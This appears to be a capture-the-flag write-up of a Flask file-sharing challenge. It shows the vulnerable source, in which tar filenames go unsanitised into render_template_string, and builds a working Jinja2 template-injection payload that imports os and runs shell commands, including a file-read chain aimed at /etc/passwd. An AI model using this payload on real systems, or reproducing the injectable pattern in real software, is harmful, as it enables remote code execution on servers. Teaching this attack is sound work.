Challenge Description
name: file sharing portalcategory: web exploitationpoints: 478author: NoobMaster + NoobHackerWelcome to the file sharing portal! We only support tar files!
Solution
We are presented with the following interface

As well as the source code of the application.
#!/usr/bin/env python3from flask import Flask, request, redirect, render_template, render_template_stringimport tarfilefrom hashlib import sha256import osapp = Flask(__name__)
@app.route('/',methods=['GET','POST'])def main():    global username    if request.method == 'GET':        return render_template('index.html')    elif request.method == 'POST':        file = request.files['file']        if file.filename[-4:] != '.tar':            return render_template_string("<p> We only support tar files as of right now!</p>")        name = sha256(os.urandom(16)).digest().hex()        os.makedirs(f"./uploads/{name}", exist_ok=True)        file.save(f"./uploads/{name}/{name}.tar")        try:            tar_file = tarfile.TarFile(f'./uploads/{name}/{name}.tar')            tar_file.extractall(path=f'./uploads/{name}/')            return render_template_string(f"<p>Tar file extracted! View <a href='/view/{name}'>here</a>")        except:            return render_template_string("<p>Failed to extract file!</p>")
@app.route('/view/<name>')def view(name):    if not all([i in "abcdef1234567890" for i in name]):        return render_template_string("<p>Error!</p>")        #print(os.popen(f'ls ./uploads/{name}').read())            #print(name)    files = os.listdir(f"./uploads/{name}")    out = '<h1>Files</h1><br>'    files.remove(f'{name}.tar')  # Remove the tar file from the list    for i in files:        out += f'<a href="/read/{name}/{i}">{i}</a>'       # except:    return render_template_string(out)
@app.route('/read/<name>/<file>')def read(name,file):    if (not all([i in "abcdef1234567890" for i in name])):        return render_template_string("<p>Error!</p>")    if ((".." in name) or (".." in file)) or (("/" in file) or "/" in name):        return render_template_string("<p>Error!</p>")    f = open(f'./uploads/{name}/{file}')    data = f.read()    f.close()    return data
if __name__ == '__main__':    app.run(host='0.0.0.0', port=1337)- The application has a file upload feature which only accepts 
tararchives. - the tar archive is given a random 
name, saved inuploads/{name}. Its contents are extracted in the same path. - when viewed using 
/view/{name}endpoint, the tar archive is deleted and the listing of files is shown. 
What’s interesting in the latter step is that the names of the uploaded files are passed directly,
without sanitization into the render_template_string function by flask, which builds an html reponse
server side using jinja2 as a templating engine.
“I didn’t talk about the /read endpoint because it’s irrelavant in this writeup. but other writeups (linked at the end) make use of this endpoint”
from the documentation of Flask: “Flask leverages Jinja2 as its template engine.”
A Jinja template is simply a text file. Jinja can generate any text-based format (HTML, XML, CSV, LaTeX, etc.).
Simply put, our filenames are taken straight from us and injected into the template. If our injection is malicious, we can get remote code execution and read the flag.
But…
We have two problems at hand.
- 
how can we execute python code inside the jinja2 template?
 - 
we don’t know the flag name (as shown in the Dockerfile)
 
FROM python:3.9-slimRUN apt-get update && \    apt-get install -y cron && \    apt-get clean && \    rm -rf /var/lib/apt/lists/*WORKDIR /appCOPY requirements.txt server.py /app/COPY templates/ /app/templates/COPY uploads/ /app/uploads/COPY REDACTED.txt /app/# The flag file is redacted on purposeRUN pip install --no-cache-dir -r requirements.txt# Add the cron job to the crontabRUN mkdir /etc/cron.customRUN echo "*/5 * * * * root rm -rf /app/uploads/*" > /etc/cron.custom/cleanup-cronRUN echo "* * * * * root cd / && run-parts --report /etc/cron.custom" | tee -a /etc/crontab# Give execution rights on the cron jobRUN chmod +x /etc/cron.custom/cleanup-cronRUN crontab /etc/cron.custom/cleanup-cronRUN crontab /etc/crontabCMD ["sh", "-c", "cron && python server.py"]Taking a step back, A template contains variables and/or expressions, which get replaced with values when a template is rendered;
we can test this out by archiving a file called {{5*5}} and viewing it in the /view endpoint
Here is how we can go about doing so.
touch "{{5*5}}"tar -cvf proof-of-concept.tar "{{5*5}}"After the upload, we can see that the website indeed rendered 25 instead of {{5*5}}

Nice, we have confirmed that we have a SSTI, next is finding a way to run python code inside the template. But not any code… Code that will enable us to find the name of the flag, and eventually read it.
For that, let me introduce some internals of python.
So in python, everything is an object, that means we can do something like
print(type('hxuu'))and we get <class 'str'>, that is, the string ‘hxuu’ is an instance of the str class.
In the same way variables are objects, functions too are objects. Now check this out.
In normal day to day programming, when we want to read a file using python, we would use something like this
with open('/etc/passwd') as file:    content = file.read()which opens the /etc/passwd file and reads its content. We can achieve the same thing, but start with a string
instead, how so?
Since everything is an object, meaning everything in python inherents from the object class. we can climb the inheretence tree to reach all the subclasses available, select the one we want to use to execute a shell command, and boom, command executed. Like this:
''.__class__.__base__.__subclasses__()[<index-of-_io._IOBase>].__subclasses__()[<index-of-_io._RawIOBase>].__subclasses__()[<index-of-_io.FileIO>]('/etc/passwd').read()I know this is a very roundabout way of going about things, but we’ll need it in our challenge, because Flask by default passes certain variables to the jinja2 template by default, mainly:

We can use either one of those, but the easiest is the request object, from which
we can access the application context, through which we can import the ‘os’ module, and get RCE!
Let’s build our payload then:
{{request.application.__globals__.__builtins__.__import__('os').popen('<our-command>').read()}}Explanation:
- 
request.application: This accesses theapplicationobject associated with the currentrequestin a web framework context. It often represents the main application object or a similar structure in web frameworks. - 
__globals__: This attribute is a dictionary containing the global variables available in the scope whereapplicationis defined. It allows you to access global context or variables directly. - 
__builtins__: This is a reference to the built-in module in Python that contains all built-in functions and exceptions. It’s accessible globally and is often used to get access to core Python functions. - 
__import__('os'): This dynamically imports theosmodule using Python’s__import__function. Theosmodule provides a way to interact with the operating system, including executing shell commands. - 
popen('<our-command>'): Thepopenmethod from theosmodule opens a pipe to or from a command. In this case,<our-command>should be replaced with the actual shell command you want to execute.popenruns the command and returns a file-like object connected to its standard output. - 
.read(): This method reads all the output from the command executed bypopen. It collects the command’s output as a string. 
Summary:
This code snippet is used to execute a shell command from within a web template or application context and display its output. It does this by accessing global variables and built-in functions from the web application’s context, dynamically importing the os module, and using popen to run a command, finally reading and rendering the command’s output.
Perfect! let’s test this out with the id command. Here is the result:

We are root! we got remote code execution, rest is to find the flag. This can be done by listing the directory
contents using a simple ls

noice~ the flag name is:
flag_15b726a24e04cc6413cb15b9d91e548948dac073b85c33f82495b10e9efe2c6e.txtChange the command once again to
cat flag_15b726a24e04cc6413cb15b9d91e548948dac073b85c33f82495b10e9efe2c6e.txt
And there we go~ The flag is: n00bz{n3v3r_7rus71ng_t4r_4g41n!_f593b51385da}
Notes
This was a particularly interesting challenge, and my solution was not the intended solution haha. I know I overcomplicated things a lot, but hey, those pyjails I love playing paid a lot.
- We learned about server side template injection, and some tricks with python.
 
If you’re interested in other ways to solve the challenge, you can experiment with symbolic links, cron jobs OR… a misuse of the archiving function in the python code. Hope you learned something, take care!